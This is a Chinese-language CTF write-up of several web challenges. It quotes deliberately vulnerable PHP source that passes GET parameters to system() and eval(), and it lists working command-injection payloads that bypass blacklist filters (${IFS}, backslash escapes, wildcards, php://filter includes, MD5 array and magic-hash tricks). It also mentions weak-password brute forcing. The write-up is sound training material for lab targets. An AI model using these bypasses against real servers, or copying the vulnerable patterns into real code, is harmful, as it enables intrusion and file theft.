SYCTF2023

签到

源码

image-20250122112826492

登录

进去直接先登录,但是随便试了几个均错误,以为是sql,测了下没测出来,然后直接抓包去试了下弱口令爆破,真成了。。。。(不是哥们)

image-20250122164037625

image-20250122164052477

访问index.php,获得flag

image-20250122164130322

宝宝巴士

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

GET传参命令执行,先传一个rce=ls查看flag位置

image-20250122164404419

payload
rce=uniq${IFS}/f??? #uniq用于过滤重复的行;${IFS} 是一个环境变量(内部字段分隔符),默认情况下,IFS 包含空格、制表符和换行符;/f???表示匹配f开头的目录

rce=c\at$IFS\../../../../../../../f\lag #反斜杠绕过,../表示相对路径

image-20250122165301973

rce

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}


?>
payload
c=system('ls'); #flag.php index.php
c=echo system('cat f\lag.p\hp');
c=eval($_GET[1]);&1=system("cat flag.php");
c=include$_GET[aa]?>&aa=php://filter/read=convert.base64-encode/resource=flag.php
挺多姿势的,不过要注意除最后一个payload,其他都是在注释中,查看源码即可

XYNU2024信安杯

哎~想她了

ctrl+u看源码,发现又没踩坑

image-20250122173826032

根据提示访问f14g.php

<?php
//flag in /flag

highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['fj1'];
$b = $_GET['fj2'];
if($a!==$b&&md5($a)===md5($b)){
if(isset($_GET['cmd'])){
$cmd = $_GET['cmd'];
if(!preg_match("/\;|cat|flag|[0-9]|\\$|\*|more|system|exec|tac/i", $cmd)){
system($cmd);
}
else{
die("哎~就差一点儿~我就可以拉到她的手~");
}
}
}
else{
echo "哎~想她了~";
}
?>

先让a和b弱比较为0或者数组绕过

fj1=QNKCDZO&fj2=240610708
fj1[]=1&fj2[]=2

第二层less未被过滤,直接cmd=less /fla?绕过

fj1[]=1&fj2[]=2&cmd=less /fla?